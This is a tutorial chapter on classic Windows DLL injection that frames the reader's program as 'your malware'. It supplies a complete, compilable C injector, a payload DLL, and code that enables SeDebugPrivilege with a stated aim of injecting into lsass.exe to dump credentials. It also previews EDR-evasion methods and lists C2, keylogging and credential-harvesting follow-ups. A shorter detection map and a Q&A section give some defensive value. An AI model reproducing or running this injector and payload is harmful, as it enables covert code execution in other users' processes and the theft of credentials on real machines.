Classic DLL Injection
Classic DLL injection is the foundational process injection technique — every more advanced method builds on or replaces parts of it. The idea: force a remote process to load your DLL. Windows already has a mechanism to load DLLs by path — LoadLibraryA. Your job is to write the path of your DLL into the target process's memory, then convince a thread in the target to call LoadLibraryA with that path. Once LoadLibrary runs, Windows maps your DLL into the target, calls your DllMain, and you own code execution in that process. This chapter dissects every Win32 API call in the injection chain, explains why each one exists, covers failure modes at every step, and builds the complete implementation.
The Four-Step Injection Model
INJECTOR PROCESS (your malware) TARGET PROCESS (e.g., explorer.exe)
════════════════════════════════ ════════════════════════════════════
Step 1 — Get a handle to the target process with write access
─────────────────────────────────────────────────────────────
OpenProcess(
PROCESS_VM_WRITE | "I want to write memory in the target"
PROCESS_VM_OPERATION | "I want to perform VM operations (alloc/free)"
PROCESS_CREATE_THREAD, "I want to create a thread in the target"
FALSE,
target_pid
)
→ Returns hProcess (handle to explorer.exe)
Step 2 — Allocate a memory region in the target for the DLL path
─────────────────────────────────────────────────────────────────
VirtualAllocEx(
hProcess, "allocate in the TARGET, not in our process"
NULL, "OS chooses the address"
len(dll_path), "enough space for the DLL path string"
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE "writable — we don't execute the path string"
)
→ Returns pRemoteMem (an address in explorer.exe's virtual address space)
e.g., pRemoteMem = 0x0000029A7F3C0000 (inside explorer.exe)
Step 3 — Write the DLL path string into the allocated region
─────────────────────────────────────────────────────────────
WriteProcessMemory(
hProcess,
pRemoteMem,
"C:\\Windows\\Temp\\evil.dll\0", ← the DLL path, null-terminated
len,
NULL
)
→ Now explorer.exe's memory at pRemoteMem contains the DLL path
Step 4 — Create a thread in the target that calls LoadLibraryA(pRemoteMem)
──────────────────────────────────────────────────────────────────────────
CreateRemoteThread(
hProcess,
NULL, 0,
(LPTHREAD_START_ROUTINE)LoadLibraryA, ← start address = LoadLibraryA
pRemoteMem, ← argument = our path string
0, NULL
)
→ Windows creates a thread in explorer.exe
→ That thread calls LoadLibraryA("C:\\Windows\\Temp\\evil.dll")
→ Windows loads evil.dll into explorer.exe
→ evil.dll's DllMain runs with DLL_PROCESS_ATTACH
→ Your payload executes in explorer.exe's context
Why LoadLibraryA works as a thread start:
LPTHREAD_START_ROUTINE signature: DWORD WINAPI func(LPVOID param)
LoadLibraryA signature: HMODULE WINAPI LoadLibraryA(LPCSTR lpLibFileName)
Both take one pointer argument and return a value — signatures match at ABI level.
CreateRemoteThread passes pRemoteMem as the LPVOID param.
LoadLibraryA receives it as LPCSTR lpLibFileName.
Same pointer — LoadLibraryA reads your DLL path. Clean.Complete Implementation
/* classic_dll_inject.c
Injects a DLL into a target process by PID using the classic
LoadLibraryA + CreateRemoteThread technique.
Build (MSVC):
cl.exe /O2 classic_dll_inject.c /link /out:injector.exe
Build (MinGW):
x86_64-w64-mingw32-gcc -O2 -o injector.exe classic_dll_inject.c
Usage:
injector.exe [PID] [DLL_PATH]
injector.exe 1234 C:\Windows\Temp\evil.dll
*/
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
/* ── Utility: find process by name (returns first match PID or 0) ──── */
static DWORD find_pid_by_name(const char *target_name) {
PROCESSENTRY32 pe = { .dwSize = sizeof(pe) };
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
DWORD found_pid = 0;
if (Process32First(snap, &pe)) {
do {
/* Case-insensitive comparison */
if (_stricmp(pe.szExeFile, target_name) == 0) {
found_pid = pe.th32ProcessID;
break;
}
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
return found_pid;
}
/* ── Core injection function ─────────────────────────────────────────── */
static BOOL inject_dll(DWORD pid, const char *dll_path) {
printf("[*] Target PID: %lu\n", pid);
printf("[*] DLL path: %s\n", dll_path);
/* ── Step 1: Open the target process ─────────────────────────────── */
/*
* PROCESS_VM_WRITE — WriteProcessMemory needs this
* PROCESS_VM_OPERATION — VirtualAllocEx needs this
* PROCESS_CREATE_THREAD — CreateRemoteThread needs this
*
* You can't ask for more permissions than the target has.
* Injecting into a protected process (e.g., antimalware) will fail
* with ERROR_ACCESS_DENIED (5) even for admin users.
* SeDebugPrivilege allows injecting into processes owned by other users
* (covered in the privilege escalation section).
*/
HANDLE hProcess = OpenProcess(
PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
FALSE,
pid
);
if (!hProcess) {
printf("[-] OpenProcess failed: %lu\n", GetLastError());
return FALSE;
}
printf("[+] Opened target process (handle: %p)\n", hProcess);
/* ── Step 2: Allocate memory in the target process ────────────────── */
/*
* We need enough space for the DLL path string including the null terminator.
* The allocation can go anywhere — the OS picks the address.
* PAGE_READWRITE is correct here: we're writing a string, not executing it.
* Note: we allocate in the TARGET's virtual address space,
* not in our own process. The returned address is only valid
* when used with hProcess operations.
*/
SIZE_T path_size = strlen(dll_path) + 1; /* +1 for null terminator */
LPVOID remote_mem = VirtualAllocEx(
hProcess,
NULL,
path_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (!remote_mem) {
printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Allocated %zu bytes in target at %p\n", path_size, remote_mem);
/* ── Step 3: Write the DLL path into the target process ──────────── */
SIZE_T written = 0;
if (!WriteProcessMemory(hProcess, remote_mem,
dll_path, path_size, &written)) {
printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Wrote DLL path (%zu bytes) to remote memory\n", written);
/* ── Step 4: Resolve LoadLibraryA address in the INJECTOR process ── */
/*
* KEY ASSUMPTION: LoadLibraryA's address is the same in the injector
* and in the target process. This holds on Windows because:
* - kernel32.dll is mapped at the same base address in every process
* (ASLR randomizes it once per boot, then all processes share the same base)
* - This is called "shared ASLR" or "image ASLR" — the randomization is
* applied at system startup, not per-process
* This assumption is only valid for the SAME ARCHITECTURE.
* 32-bit injector → 64-bit target: FAILS (different LoadLibraryA address)
* 64-bit injector → 32-bit target: FAILS (and different bitness)
* Same architecture: works
*/
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
FARPROC pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");
printf("[+] LoadLibraryA address: %p\n", (void*)pLoadLibraryA);
/* ── Step 5: Create a remote thread in the target ─────────────────── */
/*
* The thread will execute: LoadLibraryA(remote_mem)
* where remote_mem is the address of our DLL path string.
*
* LoadLibraryA will:
* 1. Load the DLL from the path we provided
* 2. Map it into the target process
* 3. Call the DLL's DllMain(hModule, DLL_PROCESS_ATTACH, NULL)
* 4. Return HMODULE (non-NULL on success)
*
* The remote thread's return value = LoadLibraryA's return value = HMODULE.
* We can get this by WaitForSingleObject + GetExitCodeThread.
*/
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL, /* default security attributes */
0, /* default stack size */
(LPTHREAD_START_ROUTINE)(LPVOID)pLoadLibraryA,
remote_mem, /* the argument: pointer to our DLL path string */
0, /* run immediately */
NULL /* don't need thread ID */
);
if (!hThread) {
printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Remote thread created (handle: %p)\n", hThread);
/* ── Wait for LoadLibraryA to complete ──────────────────────────── */
printf("[*] Waiting for DLL to load...\n");
DWORD wait_result = WaitForSingleObject(hThread, 5000); /* 5 second timeout */
if (wait_result == WAIT_TIMEOUT) {
printf("[-] Timeout waiting for remote thread — DLL may still be loading\n");
} else if (wait_result == WAIT_OBJECT_0) {
/* Get the return value of LoadLibraryA */
DWORD exit_code = 0;
GetExitCodeThread(hThread, &exit_code);
if (exit_code == 0) {
printf("[-] LoadLibraryA returned NULL — DLL failed to load\n");
printf(" Check: DLL path accessible from target process?\n");
printf(" Check: DLL architecture matches target?\n");
printf(" Check: DLL dependencies (CRT, other DLLs) present?\n");
} else {
printf("[+] DLL loaded successfully! HMODULE: 0x%08lX\n", exit_code);
}
}
/* ── Cleanup ─────────────────────────────────────────────────────── */
/*
* Free the remote memory allocation.
* Note: LoadLibraryA has already copied the path string internally —
* freeing this memory is safe and reduces our footprint.
*/
CloseHandle(hThread);
VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
CloseHandle(hProcess);
printf("[+] Injection complete.\n");
return TRUE;
}
/* ── Main ────────────────────────────────────────────────────────────── */
int main(int argc, char *argv[]) {
if (argc == 3) {
DWORD pid = (DWORD)atol(argv[1]);
return inject_dll(pid, argv[2]) ? 0 : 1;
}
if (argc == 2) {
/* Mode: inject by process name */
DWORD pid = find_pid_by_name(argv[1]);
if (!pid) {
printf("[-] Process '%s' not found\n", argv[1]);
return 1;
}
/* For demo: inject current working directory + \evil.dll */
char dll_path[MAX_PATH];
GetCurrentDirectoryA(MAX_PATH, dll_path);
strcat_s(dll_path, MAX_PATH, "\\evil.dll");
return inject_dll(pid, dll_path) ? 0 : 1;
}
printf("Usage: %s [PID|ProcessName] [DLL_PATH]\n", argv[0]);
return 1;
}
The Payload DLL — DllMain as Entry Point
/* evil.dll — The DLL that gets injected into the target process.
When LoadLibraryA loads this DLL, Windows calls DllMain with:
fdwReason = DLL_PROCESS_ATTACH
This is our code execution entry point.
Build:
x86_64-w64-mingw32-gcc -shared -O2 -o evil.dll evil_dll.c \
-Wl,--entry,_DllMainCRTStartup
*/
#include <windows.h>
/*
* DllMain restrictions (VERY IMPORTANT):
* ─────────────────────────────────────────────────────────────────────
* DllMain is called while the loader lock is held.
* The loader lock is a global mutex that prevents concurrent DLL loading.
*
* During DllMain, you MUST NOT:
* • Call LoadLibrary / FreeLibrary (deadlock — loader lock already held)
* • Call functions in other DLLs that haven't finished loading yet
* • Wait on synchronization objects (DEADLOCK risk)
* • Create or wait for threads (the new thread may call DllMain too)
* • Call most Win32 functions that load additional DLLs
*
* What you CAN safely do from DllMain:
* • CreateThread (just don't wait on it from DllMain)
* • WriteFile, ReadFile (kernel32 functions that don't load DLLs)
* • Memory allocation (VirtualAlloc, HeapAlloc)
* • Simple computation
*
* The standard pattern: CreateThread in DllMain, do real work in the thread.
* This returns from DllMain quickly (releasing the loader lock)
* while the real payload runs asynchronously.
*/
static DWORD WINAPI injected_thread(LPVOID _unused) {
(void)_unused;
/*
* This thread runs inside the target process (e.g., explorer.exe).
* We have the target's full process context:
* - Same user session and permissions
* - Access to the user's desktop, clipboard, browser sessions
* - Can make network connections attributed to explorer.exe
* - Can access the user's credentials in LSASS (with additional steps)
* - Can read/write any file the user can access
*
* Typical next steps from an injected thread:
* a) Establish C2 connection (HTTP/S, DNS, SMB)
* b) Load a reflective DLL beacon from the network
* c) Run additional shellcode downloaded from C2
* d) Screenshot / keylog / credential harvest
*/
/* Minimal demo: display a dialog in the context of the target process */
MessageBoxA(NULL,
"Injected into target process!",
"evil.dll",
MB_OK | MB_ICONINFORMATION);
/*
* For a real C2 implant: download a beacon DLL from your C2 server,
* load it with LoadLibrary or reflectively (Ch29).
* The beacon then establishes persistent C2 comms.
*/
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hInstance,
DWORD fdwReason,
LPVOID lpvReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
/* Don't do heavy work here — spawn a thread */
DisableThreadLibraryCalls(hInstance); /* suppress DLL_THREAD_ATTACH notifications */
CreateThread(NULL, 0, injected_thread, NULL, 0, NULL);
break;
case DLL_PROCESS_DETACH:
/* Called when FreeLibrary or process exits */
/* Clean up any resources here */
break;
}
return TRUE;
}
Failure Modes and Diagnostics
Step that fails │ GetLastError() value │ Root cause
────────────────────────┼─────────────────────────┼──────────────────────────────────────
OpenProcess │ 5 (ACCESS_DENIED) │ Target is protected process (PPL),
│ │ antimalware service, CSRSS, etc.
│ │ Or: insufficient privileges (not admin)
OpenProcess │ 87 (INVALID_PARAMETER) │ PID doesn't exist / already exited
VirtualAllocEx │ 5 (ACCESS_DENIED) │ Integrity level issue (injecting into
│ │ higher-integrity process without SeDebug)
WriteProcessMemory │ 998 (NOACCESS) │ Memory region not writable (wrong prot)
CreateRemoteThread │ 5 (ACCESS_DENIED) │ Missing PROCESS_CREATE_THREAD access
CreateRemoteThread │ 1260 (BLOCKED BY POLICY) │ Software restriction policy or WDAC
LoadLibraryA returns 0 │ (query with GetLastError │ DLL not found in target's search path
(thread exit code = 0) │ from the remote thread) │ DLL arch mismatch (32 vs 64-bit)
│ │ Missing DLL dependency
│ │ DLL_PROCESS_ATTACH returned FALSE
│ │ Path contains short names vs long names
Architecture mismatch problem:
─────────────────────────────────────────────────────────────────────────
64-bit injector → 32-bit target:
VirtualAllocEx succeeds (OS handles cross-bitness VA allocation)
WriteProcessMemory succeeds
CreateRemoteThread: LoadLibraryA address is the 64-bit version
64-bit LoadLibraryA called in a 32-bit process → CRASH / undefined behavior
Fix: For 32-bit targets, use a 32-bit injector.
Or: use NtCreateThreadEx with a 32-bit LoadLibraryA thunk (complex).
Or: use a different injection technique (APC injection is arch-agnostic
because you inject shellcode that calls the right LoadLibrary).
DLL path issues:
─────────────────────────────────────────────────────────────────────────
The DLL path must be accessible from the TARGET process's perspective.
If the injector is running as user A and the target is user B (different session),
the path must be on a shared drive or under a path both users can read.
Safest paths: C:\Windows\Temp\, C:\ProgramData\, C:\Users\Public\
These are world-readable (though suspicious to defenders).API Hooking and EDR Interception
Modern EDRs hook the following APIs to detect DLL injection:
API being called │ What EDR does with it
───────────────────────┼──────────────────────────────────────────────────────
OpenProcess │ Checks requested access flags — PROCESS_CREATE_THREAD
│ + PROCESS_VM_WRITE is the classic injection signature.
│ Logs the call, may block, or alert.
VirtualAllocEx │ Monitors cross-process allocation — especially with
│ MEM_COMMIT and PAGE_EXECUTE* flags from another PID
WriteProcessMemory │ Tracks writes to another process's memory space
CreateRemoteThread │ Highest signal — thread created in a different process
│ by a process that isn't its parent
The typical EDR hook implementation:
─────────────────────────────────────────────────────────────────────────
1. EDR injects its own DLL into every process at startup (via AppInit_DLLs
or similar mechanism)
2. EDR DLL patches the first bytes of target APIs in ntdll.dll with JMP to
EDR's trampoline function
3. When your injector calls CreateRemoteThread:
kernel32.CreateRemoteThread → ntdll.NtCreateThreadEx → [EDR hook]
EDR hook captures arguments, logs them, may block
4. If EDR blocks: CreateRemoteThread returns 0, GetLastError() = 5
Bypasses at this stage (preview — covered in Part 5):
• Direct syscalls: bypass ntdll hooks by calling syscall instruction directly
(NtCreateThreadEx syscall number: 0x00C7 on Win10 21H2 x64)
• Indirect syscalls: jump into ntdll's syscall instruction via a known-good location
(bypasses function entry hooks but not kernel-level callbacks)
• Hell's Gate / Tartarus' Gate: dynamically locate syscall numbers even when ntdll is patched
• Heaven's Gate: use 32-to-64-bit thunk to call 64-bit syscalls from 32-bit process
SeDebugPrivilege — Injecting Into Other Users' Processes
/* Enable SeDebugPrivilege to allow injecting into processes
owned by other users (SYSTEM, other user accounts).
Requires running as a member of the Administrators group.
Without SeDebugPrivilege: can only inject into processes you own.
With SeDebugPrivilege: can inject into any process except kernel-level
and Protected Processes (PPL).
*/
static BOOL enable_sedebug(void) {
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken)) {
return FALSE;
}
TOKEN_PRIVILEGES tp = { 0 };
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!LookupPrivilegeValueA(NULL, "SeDebugPrivilege",
&tp.Privileges[0].Luid)) {
CloseHandle(hToken);
return FALSE;
}
BOOL success = AdjustTokenPrivileges(hToken, FALSE, &tp,
sizeof(tp), NULL, NULL);
CloseHandle(hToken);
/* AdjustTokenPrivileges can return TRUE but still fail!
Check GetLastError for ERROR_NOT_ALL_ASSIGNED */
if (!success || GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
printf("[-] Failed to enable SeDebugPrivilege\n");
printf(" Are you running as Administrator?\n");
return FALSE;
}
printf("[+] SeDebugPrivilege enabled\n");
return TRUE;
}
/* ── Upgraded main with SeDebugPrivilege ─────────────────────────────── */
/*
* Practical scenario:
* You've gained code execution as an admin user (via exploit/macro/LNK).
* You want to inject into lsass.exe to dump credentials.
* lsass.exe is owned by SYSTEM — you can't normally open it.
* Enable SeDebugPrivilege → OpenProcess(lsass_pid) succeeds.
*
* Note: Modern Windows also protects lsass.exe with PPL (Protected Process
* Light) on some configurations (Credential Guard, Windows Defender Credential
* Guard). PPL blocks even SeDebugPrivilege injection — you need a kernel driver.
*/
Detection Map
Classic DLL injection detection signals:
EVENT SOURCE: Windows Security Log (Audit Process)
EventID 4656 — Object handle request: PROCESS_VM_WRITE | PROCESS_CREATE_THREAD
EventID 4663 — WriteProcessMemory call (if object access auditing enabled)
→ Enable via: Computer Config → Policies → Audit Policy → Audit Object Access
→ These events are noisy and often disabled by default
EVENT SOURCE: Sysmon
EventID 10 (ProcessAccess):
SourceImage: C:\Users\attacker\injector.exe
TargetImage: C:\Windows\explorer.exe
GrantedAccess: 0x1fffff (all access) or 0x43a (VM_WRITE|VM_OPERATION|CREATE_THREAD)
→ Rule: alert when GrantedAccess includes 0x40 (VM_WRITE) toward system processes
EventID 7 (ImageLoaded):
Process: explorer.exe
Image: C:\Windows\Temp\evil.dll ← non-standard DLL from temp path
Signed: false
→ Rule: alert on unsigned DLL loaded from world-writable paths
EventID 8 (CreateRemoteThread):
SourceImage: injector.exe
TargetImage: explorer.exe
StartAddress: 0x7FFF12340000 ← this is LoadLibraryA in kernel32.dll
→ Rule: thread created in a process by a non-parent process
EVENT SOURCE: EDR (CrowdStrike, SentinelOne, MDE)
Most EDRs detect this trivially — classic DLL injection is 20+ years old.
They alert on: OpenProcess + VirtualAllocEx + WriteProcessMemory + CRT pattern
The "injection triad" is one of the most commonly detected patterns.
What defenders see in Defender for Endpoint:
Alert: "Possible process injection technique detected"
Evidence:
Process tree: injector.exe → [VirtualAllocEx into explorer.exe] → [CRT in explorer.exe]
File: evil.dll written to C:\Windows\Temp\ and loaded into explorer.exe
NETWORK:
After injection: network connections from explorer.exe to C2 server
explorer.exe making outbound HTTPS to an unusual IP/domain
→ Network rules: alert on unexpected outbound from explorer.exe, svchost, notepad
Questions & Answers
Why is the LoadLibraryA address the same in the injector and the target?
Windows uses a feature called shared ASLR (also called "system-wide ASLR" or "image ASLR"). When a DLL like kernel32.dll is loaded at boot time, the OS randomizes its base address once. Every process that loads kernel32.dll afterwards maps it at the same pre-randomized base — the address is fixed for the entire boot session. This is a deliberate design decision for performance: if every process got a different random base for kernel32.dll, the OS couldn't share the physical memory pages between processes. The result for DLL injection: GetProcAddress(kernel32, "LoadLibraryA") in your injector returns the same address that exists in the target process. Reboot the system and the address changes (new random base), but within one boot session it's constant. This assumption breaks for 32/64-bit mismatches because the 32-bit kernel32.dll and 64-bit kernel32.dll are completely separate DLLs at different addresses.
Why does DllMain have loader lock restrictions and how do you work around them?
The loader lock is a global critical section (mutex) in ntdll.dll that serializes all DLL loading operations. It prevents two threads from loading or unloading DLLs simultaneously (which could cause race conditions in the loader's internal data structures). When Windows calls your DllMain, it holds this lock. Any function you call from DllMain that tries to acquire the loader lock — LoadLibrary, FreeLibrary, or any function that triggers DLL load — will deadlock because the loader lock is already held by the thread calling DllMain. The correct workaround is to spawn a new thread in DllMain with CreateThread and return TRUE immediately. The new thread starts after DllMain returns and the loader lock is released — at that point the thread can safely call any function including LoadLibrary. The key is: don't wait on the new thread from DllMain (WaitForSingleObject in DllMain = deadlock if that thread needs the loader lock).
What is the difference in access rights needed for DLL injection vs shellcode injection?
Classic DLL injection requires three access rights on the target process: PROCESS_VM_WRITE (to call WriteProcessMemory), PROCESS_VM_OPERATION (to call VirtualAllocEx and VirtualFreeEx), and PROCESS_CREATE_THREAD (to call CreateRemoteThread). Shellcode injection (Chapter 25) requires those same three rights, but instead of writing a DLL path string and calling LoadLibraryA, it writes executable shellcode and calls the shellcode's entry point directly. The access rights are the same. The difference is what's written and what runs: DLL injection writes a path string (data) and lets LoadLibraryA do the loading; shellcode injection writes executable machine code and jumps to it. Shellcode injection avoids touching the filesystem (the shellcode is self-contained in memory), which removes the artifact of a DLL file on disk — a significant OPSEC improvement.
Can you inject a DLL into a Windows Store (UWP) app?
Not easily. UWP apps run inside an AppContainer — a sandboxed process with a low-privilege SID and restricted access rights. Even as an administrator with SeDebugPrivilege, injecting into an AppContainer process faces restrictions: the AppContainer token has limited capabilities, and some UWP processes run with PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_NON_MICROSOFT_BINARIES_ALWAYS_ON, which causes Windows to block loading of any DLL not signed by Microsoft at the kernel level. Even if you get a handle to the process and allocate memory, CreateRemoteThread will fail when LoadLibraryA tries to map your unsigned DLL. Injecting into UWP requires either a signed DLL (with a valid Microsoft-compatible code signing cert and driver signature for restricted processes) or kernel-level code execution. In practice, attackers target Win32 processes instead, which have no such restrictions.
How does PROCESS_CREATION_MITIGATION_POLICY block classic DLL injection?
Process mitigation policies (set via SetProcessMitigationPolicy or at creation via UpdateProcThreadAttribute) can harden a process against specific attack vectors. Two policies specifically target DLL injection: ProcessSignaturePolicy — restricts the process to loading only DLLs signed by a specified trust level (Microsoft signing level blocks all non-MS DLLs; your evil.dll can't be loaded even if mapped into memory). ProcessDynamicCodePolicy — blocks VirtualAlloc(PAGE_EXECUTE) and code signing enforcement inside the process — your injected DLL's DllMain still runs, but it can't allocate RWX memory for shellcode. Modern browsers (Chrome, Edge, Firefox) and Windows Defender enable these policies, which is why classic DLL injection into browser processes typically fails. You can check which policies a process has enabled with Process Explorer's "Mitigation" view or Get-ProcessMitigation in PowerShell.